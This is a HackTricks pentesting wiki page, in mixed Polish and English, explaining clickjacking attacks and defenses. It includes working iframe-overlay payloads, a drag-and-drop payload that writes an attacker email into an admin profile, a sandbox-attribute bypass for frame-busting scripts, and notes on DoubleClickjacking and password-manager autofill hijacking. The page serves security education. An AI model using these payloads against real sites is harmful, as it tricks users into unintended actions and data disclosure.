Clickjacking

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest Clickjacking

W ataku clickjacking użytkownik jest oszukany, aby kliknąć element na stronie, który jest albo niewidoczny, albo podszywa się pod inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobranie malware, przekierowanie na złośliwe strony, ujawnienie danych uwierzytelniających lub informacji wrażliwych, przelewy pieniędzy lub zakupy online.

Sztuczka: wstępne wypełnianie formularzy

Czasami możliwe jest wypełnić wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać clickjacking payload, tak aby użytkownik nacisnął przycisk Submit.

Wypełnianie formularza za pomocą Drag&Drop

Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie określonej informacji (np. adresu e-mail lub konkretnego hasła, które znasz), możesz poprosić go, aby Drag&Drop czegoś, co wpisze kontrolowane przez ciebie dane, jak w this example.

Podstawowy payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Wieloetapowy payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Przeciągnij i upuść + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Jeśli zidentyfikowałeś XSS attack that requires a user to click na jakiś element, żeby trigger XSS i strona jest vulnerable to clickjacking, możesz to wykorzystać, by oszukać użytkownika do kliknięcia przycisku/linku.
Example:
Znalazłeś self XSS w pewnych prywatnych danych konta (dane, które only you can set and read). Strona z formularzem, by ustawić te dane, jest vulnerable na Clickjacking i możesz prepopulate formularz za pomocą GET parameters.
Atakujący może przygotować atak Clickjacking na tę stronę, prepopulating formularz z XSS payload i tricking user do Submit formularza. Tak więc, when the form is submitted i wartości zostaną zmodyfikowane, user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, ta technika polega na zmuszeniu ofiary do podwójnego kliknięcia przycisku na niestandardowej stronie umieszczonej w określonym miejscu i wykorzystaniu różnic czasowych między mousedown i onclick events, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak że victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

Ta technika pozwala oszukać użytkownika, by kliknął w jedno miejsce na stronie ofiary, omijając wszystkie zabezpieczenia przeciw Clickjacking. Dlatego atakujący musi znaleźć sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

Rozszerzenia przeglądarki: DOM-based autofill clickjacking

Poza iframingiem stron ofiary, atakujący mogą celować w elementy UI rozszerzeń przeglądarki, które są wstrzykiwane na stronę. Password managers renderują autofill dropdowns w pobliżu fokusowanych pól; poprzez ustawienie fokusu na polu kontrolowanym przez atakującego i ukrycie/zasłonięcie dropdownu rozszerzenia (triki z opacity/overlay/top-layer), wymuszone kliknięcie użytkownika może wybrać zapisany element i wypełnić wrażliwe dane w polach kontrolowanych przez atakującego. Ta warianta nie wymaga ekspozycji iframe i działa w całości przez manipulację DOM/CSS.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategie zapobiegania Clickjacking

Obrony po stronie klienta

Skrypty wykonywane po stronie klienta mogą podejmować działania, by zapobiegać Clickjacking:

  • Zapewnienie, że okno aplikacji jest głównym lub top window.
  • Sprawianie, aby wszystkie ramki były widoczne.
  • Zapobieganie kliknięciom na niewidocznych ramkach.
  • Wykrywanie i ostrzeganie użytkowników o potencjalnych próbach Clickjacking.

Jednak te skrypty łamiące ramki mogą zostać obejściem:

  • Browsers' Security Settings: Niektóre przeglądarki mogą blokować te skrypty w zależności od ustawień bezpieczeństwa lub braku wsparcia dla JavaScript.
  • HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Wartości allow-forms i allow-scripts umożliwiają wykonywanie akcji wewnątrz iframe, jednocześnie blokując nawigację na poziomie najwyższego okna. Aby zapewnić zamierzoną funkcjonalność docelowej strony, w zależności od rodzaju ataku mogą być potrzebne dodatkowe uprawnienia takie jak allow-same-origin i allow-modals. Komunikaty w konsoli przeglądarki mogą wskazać, które uprawnienia należy włączyć.

Server-Side Defenses

X-Frame-Options

Nagłówek X-Frame-Options HTTP response header informuje przeglądarki o dopuszczalności renderowania strony w lub